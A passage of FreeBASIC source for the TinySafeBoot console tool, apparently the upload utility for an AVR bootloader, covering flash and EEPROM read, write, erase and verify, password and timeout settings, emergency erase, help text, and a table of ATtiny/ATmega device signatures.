print "Make TSB from code template:   "; Filename
print
print "RXD = P"; mid$(astr,1,2); " / TXD = P"; mid$(astr,3,2)
print
'
' STEP 4:
' Search pre-assembled firmware template for dummy port assignments
' (being RX = PINB0/DDRB0/PORTB0 / TX = PINB1/DDRB1/PORTB1)
' and modify these with respect to the desired ports and portbits
'
do until ADDR >= AAAA

    select case BINARRAY(ADDR+1)
    case &h98, &h99, &h9A, &h9B     ' find opcodes of cbi/sbic/sbi/sbis

        select case (BINARRAY (ADDR+0) And &b00000111)
        case 0
            select case (BINARRAY (ADDR+0) And &b11111000)
            case DEVPORTS(1)+0   : BINARRAY(ADDR+0) = RXTXPB(0,0)  ' change PINB
            case DEVPORTS(1)+8   : BINARRAY(ADDR+0) = RXTXPB(1,0)  ' change DDRB
            case DEVPORTS(1)+16  : BINARRAY(ADDR+0) = RXTXPB(2,0)  ' change PORTB
            end select
        case 1
            select case (BINARRAY (ADDR+0) And &b11111000)
            case DEVPORTS(1)+0   : BINARRAY(ADDR+0) = RXTXPB(0,1)  ' change PINB
            case DEVPORTS(1)+8   : BINARRAY(ADDR+0) = RXTXPB(1,1)  ' change DDRB
            case DEVPORTS(1)+16  : BINARRAY(ADDR+0) = RXTXPB(2,1)  ' change PORTB
            end select
        end select
    end select

    ADDR = ADDR + 2
    print Chr$(13) ; "Modifying reference code $" ; WHex(ADDR,4); " ... ";

loop

print "OK"
print
'
' STEP 5:
' Save modified machine code with filename determined above
'
TSBchecksum()   ' calculate actual checksum for TSB-Installer
SaveFromArray()
print "Saved TSB firmware file:   "; filename
Err = 0
end


'-----------------------------------------------------------------------
' EEPROM READ
'-----------------------------------------------------------------------
EEPROMread:

if ActivateTSB(Comport) <> 0 then goto GError

ADDR = 0

SendCommand ("e")

do
        SendCommand(CONFIRM)
        astr = RXBuffer ()
                if Len(astr) < PAGESIZE then goto GError
        for i = 1 To PAGESIZE
        BINARRAY (ADDR) = asc(mid$(astr,i,1))
        print Chr$(13) ; "EEPROM READ  $" ; WHex(ADDR,3); " ... ";
        ADDR = ADDR +1
        next
loop    until ADDR = EEPROMSIZE

print "OK"
AAAA = EEPROMSIZE : SaveFromArray()
print

goto Finished

'-----------------------------------------------------------------------
' EEPROM ERASE (OVERWRITE EEPROM WITH $FF)
'-----------------------------------------------------------------------
EEPROMerase:

if ActivateTSB(Comport) <> 0 then goto GError

print "EEPROM ERASE ... ";

ADDR = 0
SendCommand ("E")

do      until (RXBuffer <> REQUEST) Or ADDR = EEPROMSIZE
        SendCommand (CONFIRM)
        astr = string$(PAGESIZE, Chr$(255))
        SendCommand (astr)
        ADDR = ADDR + PAGESIZE
loop
' ensure we are back on command level
SendCommand (REQUEST)
if RXBuffer <> CONFIRM then goto GError
print "OK"

goto Finished

'-----------------------------------------------------------------------
' EEPROM WRITE
'-----------------------------------------------------------------------
EEPROMwrite:

if LoadToArray <> 0 then goto GError
if ActivateTSB(Comport) <> 0 then goto GError
if AAAA > EEPROMSIZE then print "File too long!" : goto Finished

ADDR = 0
AAAA = (((AAAA-1)\PAGESIZE)+1)*PAGESIZE     'round up to full page

SendCommand ("E")

do      until (RXBuffer <> REQUEST) Or ADDR = AAAA
        SendCommand (CONFIRM)
        astr = ""
        for i = 1 To PAGESIZE
                astr = astr + Chr$(BINARRAY(ADDR))
                ADDR = ADDR + 1
        next i
        SendCommand (astr)

'       for i = 1 To PAGESIZE
'               SendCommand (Chr$(BINARRAY(ADDR)))
'               ADDR = ADDR + 1
'       next i

        print Chr$(13) ; "EEPROM WRITE  $" ; WHex(ADDR-1,3); " ... ";
loop

' ensure we are back on command level

SendCommand (REQUEST)
if RXBuffer <> CONFIRM then goto GError

print "OK"

goto Finished

'-----------------------------------------------------------------------
' EEPROM VERIFY
'-----------------------------------------------------------------------
EEPROMverify:

if ActivateTSB(Comport) <> 0 then goto GError

if LoadToArray <> 0 then goto GError

if AAAA > EEPROMSIZE then print "File too long!" : goto Finished

ADDR = 0

SendCommand ("e")

do
        SendCommand (CONFIRM)
        astr = RXBuffer
        if Len(astr) < PAGESIZE then goto GError
        for i = 1 To PAGESIZE
                print Chr$(13) ; "EEPROM VERIFY  $" ; WHex(ADDR,3); " ... ";
                if BINARRAY (ADDR) <> asc(mid$(astr,i,1)) then Exit do
                ADDR = ADDR+1
        next i
loop    until ADDR = EEPROMSIZE

if ADDR = EEPROMSIZE or right$(astr,1) = CONFIRM then
        print "OK"
        else
        beep
        print "--- ERROR! ---"
endif

goto Finished

'-----------------------------------------------------------------------
' FLASH READ
'-----------------------------------------------------------------------

FLASHread:
if ActivateTSB(Comport) <> 0 then goto GError
ADDR = 0
AAAA = APPFLASH

SendCommand ("f")

do
        SendCommand(CONFIRM)
        astr = RXBuffer
        if len(astr) < PAGESIZE then goto GError
        for i = 1 To PAGESIZE
                BINARRAY (ADDR) = asc(mid$(astr,i,1))
                ADDR = ADDR + 1
        next i
        print chr$(13) ; "FLASH READ  $" ; WHex(ADDR-1,4); " ... ";
loop    until ADDR = APPFLASH

print "OK"
print

' remove unallocated (erased) pages from end of read-back application
do while ((BINARRAY(AAAA)) = 255) and AAAA > 0
        AAAA = AAAA - 1
loop

' recover original reset vector (from appjump in LASTPAGE)
if AAAA > 0 then
        if TINYMEGA = 0 then
                if JMPMODE = 0 then                     ' rjmp on ATtiny

                        if (APPJUMP - &hC000) > (4096 - FLASHSIZE\2) then
                        ' newer TSB with backward rjmp
                        i = APPJUMP - PAGESIZE\2 - (4096 - FLASHSIZE\2)
                        else
                        ' older TSB with forward rjmp
                        i = APPJUMP - PAGESIZE\2
                        endif
                        BINARRAY(1) = i\256
                        BINARRAY(0) = i-BINARRAY(1)*256
                else                                    ' jmp on ATtiny
                        BINARRAY(2) = LASTPAGE(0)
                        BINARRAY(3) = LASTPAGE(1)
                endif
        endif

        SaveFromArray       ' save to file if any byte was read

else

        print "Flash was empty. No file saved."

endif

goto Finished


'-----------------------------------------------------------------------
' FLASH ERASE
'-----------------------------------------------------------------------
' Making use of the Flash Write feature in TSB-FW: starting flash write
' session but without sending data to be written will only erase the
' whole Appflash.

FLASHerase:
if ActivateTSB(Comport) <> 0 then goto GError
SendCommand ("F")
print "FLASH ERASE ... ";
if RXBuffer <> REQUEST then goto GError
SendCommand (REQUEST)       ' other than CONFIRM will do as well
if RXBuffer <> CONFIRM then goto GError
print "OK"
goto Finished

'-----------------------------------------------------------------------
' FLASH WRITE
'-----------------------------------------------------------------------
FLASHwrite:

if ActivateTSB(Comport) <> 0 then goto GError
if LoadToArray <> 0 then goto GError

'round up to full pages (multiple of PAGESIZE)
AAAA = ( ( (AAAA-1) \ PAGESIZE ) +1 ) * PAGESIZE

if AAAA > APPFLASH then print "File too long / Address conflict !" : goto Finished

if TINYMEGA = 0 then
    if Check4SPM () <> 0 then
        print "WARNING: The firmware you are about to upload"
        print "contains the SPM opcode that performs direct flash writes"
        print "and thus may be dangerous for the bootloader."
        print ""
        input "Continue anyway (Y/n) "; astr
        print
    if astr <> "Y" then goto Finished
    endif
endif

ADDR = 0

SendCommand ("F")

if RXBuffer <> REQUEST then goto Gerror

do until ADDR = AAAA
    SendCommand (CONFIRM)       'CONFIRM to bootloader's REQUEST
    astr = ""
    for i = 1 To PAGESIZE
        astr = astr + Chr$(BINARRAY(ADDR))
        ADDR = ADDR + 1
    next
    SendCommand (astr)          'send page data block to bootloader
    print Chr$(13) ; "FLASH WRITE  $" ; WHex(ADDR-1,4); " ... ";
    bstr = RXBuffer

    if bstr <> REQUEST then Exit do     'Error or end of flash override

loop

if (bstr<>REQUEST) and (right$(bstr,1)=CONFIRM) then
    print
    print "INTERNAL VERIFYING ERROR - FLASH ERASE INITIATED !" : goto GError
endif

if (bstr<>REQUEST) and (right$(bstr,1)<>CONFIRM) then
    print
    print "UNDEFINED ERROR WHILST FLASH WRITE!" : goto GError
endif

if ADDR < APPFLASH then
    SendCommand (REQUEST)                       ' finished
    if RXBuffer <> CONFIRM then goto GError     ' not confirmed?
endif

print "OK"

goto Finished

'-----------------------------------------------------------------------
' FLASH VERIFY
'-----------------------------------------------------------------------
FLASHverify:

if ActivateTSB(Comport) <> 0 then goto GError

if LoadToArray <> 0 then goto GError

SendCommand ("f")               ' = read Flash
ADDR = 4

SendCommand (CONFIRM)
' Always skip first 4 bytes with RJMP/JMP
astr = RXBuffer
if Len(astr) < PAGESIZE then goto GError
    for i = 5 To PAGESIZE
        print Chr$(13) ; "FLASH VERIFY  $" ; WHex(ADDR-1,4); " ... ";
        if BINARRAY (ADDR) <> asc(mid$(astr,i,1)) then Exit for
        ADDR = ADDR+1
    next
if ADDR < PAGESIZE then

        print "First Verify Error at $"; WHex(ADDR,4); " - Abort!"
        close : beep : end
endif

if ADDR < AAAA then             ' Compare remaining flash pages
        do
        SendCommand (CONFIRM)
        astr = RXBuffer
        for i = 1 To PAGESIZE
                print chr$(13) ; "FLASH VERIFY  $" ; WHex(ADDR,4); " ... ";
                if BINARRAY (ADDR) <> asc(mid$(astr,i,1)) then Exit do
                if ADDR = AAAA then Exit do
                ADDR = ADDR+1
        next i
        loop    until ADDR = AAAA
endif

if AAAA <= ADDR then
    print "OK"
    else
    print "First Verify Error at $"; WHex(ADDR,4); " - Abort!"
    close : beep : end
endif

end


'-----------------------------------------------------------------------
' PASSWORD CHANGE DIALOG
'-----------------------------------------------------------------------

PasswordChange:

if ActivateTSB(Comport) <> 0 then goto GError
    print using "Enter new Password (max. ### chars) : "; (PAGESIZE-4);
    line input , astr
    if Len(astr) > (PAGESIZE-4) then print "Password too long!": goto GError
    print       "Please re-enter your new Password   : ";
    line input , bstr
    print
    if astr <> bstr then print "Passwords not equal - Nothing changed.": beep: close : end

if astr <> "" then
    print "WARNING: If your Password got lost, you will no longer be able"
    print "to maintain Userdata (Flash, EEPROM, Timeout and Password)."
    print "To regain full access to TSB, you still have option to perform"
    print "an Emergency Erase."
        print
    input "Change the Password (Y/n) "; cstr
    print
    if cstr <> "Y" then print "Nothing changed!": goto Finished

    astr = astr + chr$(255)  ' add $FF terminator to new password
    ' also erase whole LASTPAGE except from APPJUMP and TIMEOUT
    for i = 3 to PAGESIZE - 1 : LASTPAGE(i) = 255 : next i
    for i = 1 to len(astr) : LASTPAGE(2+i) = asc(mid$(astr,i,1)) : next i

    if SendLASTPAGE ()  <> 0 then goto GError
    if VerifyUserData() <> 0 then goto GError
    if GetUserData()    <> 0 then goto GError
    print "NEW PASSWORD: "; PASSWORD

else
    for i = 3 To PAGESIZE-1 : LASTPAGE(i) = 255 : next i    'clear password
    if SendLASTPAGE ()  <> 0 then goto GError
    if VerifyUserData() <> 0 then goto GError
    if GetUserData()    <> 0 then goto GError
    print "Okay, you have chosen to use NO PASSWORD."
endif
Showdeviceinfo()
goto Finished

'-----------------------------------------------------------------------
' TIMEOUT CHANGE (DIALOG OR INLINE)
'-----------------------------------------------------------------------

TimeoutChange:

if ActivateTSB(Comport) <> 0 then goto GError
if command$(3) = "" then
        print      "OLD TIMEOUT BYTE : "; TIMEOUT
        line input "NEW TIMEOUT BYTE : ", astr
else    astr = command$(3)
endif
a = Val(astr)
if a < 8 Or a > 255 then
    print
    print "ERROR: Valid timeouts must range from 8 to 255!"
    print
    print "Nothing changed!": goto Finished
endif
LASTPAGE(2) = a

if SendLASTPAGE()   <> 0 then goto GError
if VerifyUserData() <> 0 then goto GError
if GetUserData()    <> 0 then goto GError

Showdeviceinfo()

goto Finished

'-----------------------------------------------------------------------
' SHOW DEVICE AND BOOTLOADER INFORMATION
'-----------------------------------------------------------------------

ShowInfo:

if ActivateTSB(Comport) <> 0 then goto GError
Showdeviceinfo()
goto Finished

'-----------------------------------------------------------------------
' LAUNCH EMERGENCY ERASE
'-----------------------------------------------------------------------

EmergencyErase:

close 8
sleep 100
if Open COM (Comport + Comset for binary as #8) > 0 then goto GError
sleep 100
print

print #8, "@@@";                        ' probe for normal TSB access

bstr = RXBuffer
if left$(bstr,3) = "@@@" then           ' one-wire echo detected
    OneWireLocalEcho = 1
    bstr = right$(bstr, (len(bstr) - 3))
endif

if len (bstr) then                      ' received device data?
    print "Seems that TSB is still accessible without password!"
    goto Finished
endif
print "WARNING: Emergency Erase deletes all Application Flash"
print "and EEPROM contents, as well as Timeout and Password."
print "This provides for a clean TSB with default values."
print
input "Do you really want to continue (Y/n) "; cstr
print
if cstr <> "Y" then print "Nothing changed!": goto Finished

SendCommand (Chr$(0))
if RXBuffer <> REQUEST then goto GError
SendCommand (CONFIRM)
if RXBuffer <> REQUEST then goto GError
SendCommand (CONFIRM)
print "TSB performing Emergency Erase - Wait some seconds ... "
print

z = Timer + 10 : do until LOC(8) Or (Timer > z) : loop

if RXBuffer <> CONFIRM then goto GError

SendCommand ("c")
bstr = RXBuffer

if Len(bstr) < 32 then goto GError
if right$(bstr,1) <> CONFIRM then goto GError

i = 2
do until (asc(mid$(bstr, i+1, 1)) < 255) Or (i > 255)
    i = i + 1
loop

if i<>32 and i<>64 and i<>128 then goto GError  ' check for usual pagesizes

print "Emergency Erase successfull! TSB restored to defaults."

goto Finished

'-----------------------------------------------------------------------
' HELPSCREEN
'-----------------------------------------------------------------------

HelpScreen:
'                                                                                      < 80 characters
print "-------------------------------------------------------------------------------"
print "Console Tool for TinySafeBoot, the tiny and safe AVR bootloader    SW:";
print left$(__DATE_ISO__,4) + mid$(__DATE_ISO__,6,2) + right$(__DATE_ISO__,2)
print "-------------------------------------------------------------------------------"
print ""
print "Info:         tsb        Show this helpscreen"
print "              tsb -l     Show license note and version info"
print
print "SYNTAX 1:     CONNECT TO BOOTLOADER"
print ""
print "              tsb [Devicename[:Baudrate] {Mode} [Filename] ]"
print "Devicename"
print "COMx          Device name for genuine serial ports under Win/DOS."
print "/dev/ttySx    Original device name for genuine serial ports under Linux."
print "/dev/ttyUSBx  Device name for USB ('virtual') serial ports under Linux."
print "[:Baudrate]   Specify standard baudrate for serial communications."
print "              With no baudrate specified, default of 9600 is chosen."
print "              Try lower baudrates for devices with low clock frequency."
print ""
print "{Mode}        Switches that specify operation mode and target."
print "              Switches not case-sensitive. Prefixes '-' or '/' are optional."
print "ER EE EW EV   EEPROM Read / Erase / Write / Verify"
print "FR FE FW FV   FLASH  Read / Erase / Write / Verify"
print "I             Show bootloader and device info."
print "P             Enter Password changing dialog (TAKE CARE!)."
print "T             Change timeout factor (8...255, approx. 0.1 to some seconds)."
print "XXX           Emergency Erase - kill Userdata and restore Bootloader."
print ""
print "Filename      Filename (or full path) of source or target file."
print "              For write and verify, Intel(R) Hex is automatically recognized."
print "              With read operations, specifying extension '.hex' or '.eep' saves"
print "              the data in a Hex record, other extensions will save raw binary."
print ""
print "Examples:     tsb com1:19200 fw firmware.bin             (Win/DOS)"
print "              tsb com2:38400 ew workingdata.eep          (Win/DOS)"
print "              ./tsb /dev/ttyS0:19200 fw firmware.hex     (Linux)"
print "              ./tsb /dev/ttyUSB0:19200 ev eeprom.eep     (Linux)"
print ""
print "*** Apply RESET or POWER-UP on target device right before TSB session! ***"
print ""
print ""
print "SYNTAX 2:     MAKE CUSTOM TSB FIRMWARE"
print ""
print "              tsb tnxxxx {RxTx} [Filename]   or   tsb mxxxx {RxTx} [Filename]"
print "              Generate TSB for designated ATtiny/ATmega using specified I/O. "
print "              Firmware file will be Hex (.hex) or Binary (other extension)."
print ""
print "Examples:     tsb tn2313 d0d1 mytiny.hex"
print "              Generate TSB installer 'mytiny.hex' for the ATtiny2313"
print "              using Port D0=RXD and D1=TXD for serial communications."
print ""
print "              tsb m8515 e0e0"
print "              Generate TSB for ATmega8515 with bidirectional (One-Wire)"
print "              interface on port E0. Filename automatically chosen."
print ""
end


Licensenote:

print
print "TSB - Console Tool for TinySafeBoot, the tiny and safe AVR bootloader"
print "Copyright (C) Julien Thomas <joytec@gmx.de>"
print ""
print "This program is free software; you can redistribute it and/or modify it"
print "under the terms of the GNU General Public License as published"
print "by the Free Software Foundation; either version 3 of the License"
print "or (at your option) any later version."
print "This program is distributed in the hope that it will be useful,"
print "but WITHOUT ANY WARRANTY; without even the implied warranty"
print "of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
print "See the GNU General Public License for more details."
print "You should have received a copy of the GNU General Public License"
print "along with this program; if not, see <http://www.gnu.org/licenses/>."
print ""
print "Compiled on " & __DATE_ISO__ " with " & __FB_SIGNATURE__
print
end


'-----------------------------------------------------------------------
' RAW ERROR HANDLING
'-----------------------------------------------------------------------

GError:
close
print : print "ERROR."
print
end

Finished:

DeactivateTSB
print
close
Err = 0
end
'
'-----------------------------------------------------------------------
' DEVICE SIGNATURES AND PORT DEFINITIONS
'-----------------------------------------------------------------------
' Listing contains ALL known ATtinys and ATmegas in question for TSB.
' Bootloader-capable devices are a subset of these.
' Fields containing $FF indicate non-existing ports.
'
data "begin devices"
'                  SIG0  SIG1  SIG2  PINA  PINB  PINC  PIND  PINE  PINF  PING
data "1200"      , &h1E, &h90, &h01, &hFF, &h16, &hFF, &h10, &hFF, &hFF, &hFF
data "2313"      , &h1E, &h91, &h01, &hFF, &h16, &hFF, &h10, &hFF, &hFF, &hFF
data "2323"      , &h1E, &h91, &h02, &hFF, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "2343"      , &h1E, &h91, &h03, &hFF, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "4414"      , &h1E, &h92, &h01, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "4433"      , &h1E, &h92, &h03, &hFF, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "4434"      , &h1E, &h93, &h03, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "8515"      , &h1E, &h93, &h01, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "8535"      , &h1E, &h93, &h03, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "m1280"     , &h1E, &h97, &h03, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m1281"     , &h1E, &h97, &h04, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m1284"     , &h1E, &h97, &h06, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m1284P"    , &h1E, &h97, &h05, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m1284RFR2" , &h1E, &hA7, &h03, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m128A"     , &h1E, &h97, &h02, &h19, &h16, &h13, &h10, &h01, &h00, &hFF
data "m128"      , &h1E, &h97, &h02, &h19, &h16, &h13, &h10, &h01, &h00, &hFF
data "m128RFA1"  , &h1E, &hA7, &h01, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m128RFR2"  , &h1E, &hA7, &h02, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m162"      , &h1E, &h94, &h04, &h19, &h16, &h13, &h10, &h05, &hFF, &hFF
data "m164A"     , &h1E, &h94, &h0F, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m164PA"    , &h1E, &h94, &h0A, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m164P"     , &h1E, &h94, &h0A, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m165A"     , &h1E, &h94, &h10, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m165PA"    , &h1E, &h94, &h07, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m165P"     , &h1E, &h94, &h07, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m168A"     , &h1E, &h94, &h06, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m168"      , &h1E, &h94, &h06, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m168PA"    , &h1E, &h94, &h0B, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m168P"     , &h1E, &h94, &h0B, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m169A"     , &h1E, &h94, &h11, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m169PA"    , &h1E, &h94, &h05, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m169P"     , &h1E, &h94, &h05, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m16A"      , &h1E, &h94, &h03, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "m16"       , &h1E, &h94, &h03, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "m16HVA"    , &h1E, &h94, &h0C, &h00, &h03, &h06, &hFF, &hFF, &hFF, &hFF
data "m16HVB"    , &h1E, &h94, &h0D, &h00, &h03, &h06, &hFF, &hFF, &hFF, &hFF
data "m16M1"     , &h1E, &h94, &h84, &hFF, &h03, &h06, &h09, &h0C, &hFF, &hFF
data "m16U2"     , &h1E, &h94, &h89, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m16U4"     , &h1E, &h94, &h88, &hFF, &h03, &h06, &h09, &h0C, &h0F, &hFF
data "m2560"     , &h1E, &h98, &h01, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m2561"     , &h1E, &h98, &h02, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m2564RFR2" , &h1E, &hA8, &h03, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m256RFR2"  , &h1E, &hA8, &h02, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m324A"     , &h1E, &h95, &h15, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m324PA"    , &h1E, &h95, &h11, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m324P"     , &h1E, &h95, &h08, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m3250A"    , &h1E, &h95, &h0E, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m3250"     , &h1E, &h95, &h06, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m3250PA"   , &h1E, &h95, &h0E, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m3250P"    , &h1E, &h95, &h0E, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m325A"     , &h1E, &h95, &h05, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m325"      , &h1E, &h95, &h05, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m325PA"    , &h1E, &h95, &h05, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m325P"     , &h1E, &h95, &h0D, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m328"      , &h1E, &h95, &h14, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m328P"     , &h1E, &h95, &h0F, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m3290A"    , &h1E, &h95, &h0C, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m3290"     , &h1E, &h95, &h04, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m3290PA"   , &h1E, &h95, &h0C, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m3290P"    , &h1E, &h95, &h0C, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m329A"     , &h1E, &h95, &h03, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m329"      , &h1E, &h95, &h03, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m329PA"    , &h1E, &h95, &h0B, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m329P"     , &h1E, &h95, &h0B, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m32A"      , &h1E, &h95, &h02, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "m32C1"     , &h1E, &h95, &h86, &hFF, &h03, &h06, &h09, &h0C, &hFF, &hFF
data "m32"       , &h1E, &h95, &h02, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "m32HVB"    , &h1E, &h95, &h10, &h00, &h03, &h06, &hFF, &hFF, &hFF, &hFF
data "m32HVBrevB", &h1E, &h95, &h10, &h00, &h03, &h06, &hFF, &hFF, &hFF, &hFF
data "m32M1"     , &h1E, &h95, &h84, &hFF, &h03, &h06, &h09, &h0C, &hFF, &hFF
data "m32U2"     , &h1E, &h95, &h8A, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m32U4"     , &h1E, &h95, &h87, &hFF, &h03, &h06, &h09, &h0C, &h0F, &hFF
data "m406"      , &h1E, &h95, &h07, &h00, &h03, &hFF, &h09, &hFF, &hFF, &hFF
data "m48A"      , &h1E, &h92, &h05, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m48"       , &h1E, &h92, &h05, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m48PA"     , &h1E, &h92, &h0A, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m48P"      , &h1E, &h92, &h0A, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m640"      , &h1E, &h96, &h08, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m644A"     , &h1E, &h96, &h09, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m644"      , &h1E, &h96, &h09, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m644PA"    , &h1E, &h96, &h0A, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m644P"     , &h1E, &h96, &h0A, &h00, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m644RFR2"  , &h1E, &hA6, &h03, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m6450A"    , &h1E, &h96, &h06, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m6450"     , &h1E, &h96, &h06, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m6450P"    , &h1E, &h96, &h06, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m645A"     , &h1E, &h96, &h05, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m645"      , &h1E, &h96, &h05, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m645P"     , &h1E, &h96, &h05, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m6490A"    , &h1E, &h96, &h04, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m6490"     , &h1E, &h96, &h04, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m6490P"    , &h1E, &h96, &h04, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m649A"     , &h1E, &h96, &h03, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m649"      , &h1E, &h96, &h03, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m649P"     , &h1E, &h96, &h0B, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m64A"      , &h1E, &h96, &h02, &h19, &h16, &h13, &h10, &h01, &h00, &hFF
data "m64C1"     , &h1E, &h96, &h86, &hFF, &h03, &h06, &h09, &h0C, &hFF, &hFF
data "m64"       , &h1E, &h96, &h02, &h19, &h16, &h13, &h10, &h01, &h00, &hFF
data "m64HVE2"   , &h1E, &h96, &h10, &h00, &h03, &hFF, &hFF, &hFF, &hFF, &hFF
data "m64M1"     , &h1E, &h96, &h84, &hFF, &h03, &h06, &h09, &h0C, &hFF, &hFF
data "m64RFR2"   , &h1E, &hA6, &h02, &h00, &h03, &h06, &h09, &h0C, &h0F, &h12
data "m8515"     , &h1E, &h93, &h06, &h19, &h16, &h13, &h10, &h05, &hFF, &hFF
data "m8535"     , &h1E, &h93, &h08, &h19, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "m88A"      , &h1E, &h93, &h0A, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m88"       , &h1E, &h93, &h0A, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m88PA"     , &h1E, &h93, &h0F, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m88P"      , &h1E, &h93, &h0F, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "m8A"       , &h1E, &h93, &h07, &hFF, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "m8"        , &h1E, &h93, &h07, &hFF, &h16, &h13, &h10, &hFF, &hFF, &hFF
data "m8HVA"     , &h1E, &h93, &h10, &h00, &h03, &h06, &hFF, &hFF, &hFF, &hFF
data "m8U2"      , &h1E, &h93, &h89, &hFF, &h03, &h06, &h09, &hFF, &hFF, &hFF
data "tn10"      , &h1E, &h90, &h03, &hFF, &h00, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn13A"     , &h1E, &h90, &h07, &hFF, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn13"      , &h1E, &h90, &h07, &hFF, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn1634"    , &h1E, &h94, &h12, &h0F, &h0B, &h07, &hFF, &hFF, &hFF, &hFF
data "tn167"     , &h1E, &h94, &h87, &h00, &h03, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn20"      , &h1E, &h91, &h0F, &h00, &h04, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn2313A"   , &h1E, &h91, &h0A, &h19, &h16, &hFF, &h10, &hFF, &hFF, &hFF
data "tn2313"    , &h1E, &h91, &h0A, &h19, &h16, &hFF, &h10, &hFF, &hFF, &hFF
data "tn24A"     , &h1E, &h91, &h0B, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn24"      , &h1E, &h91, &h0B, &h19, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
data "tn25"      , &h1E, &h91, &h08, &hFF, &h16, &hFF, &hFF, &hFF, &hFF, &hFF
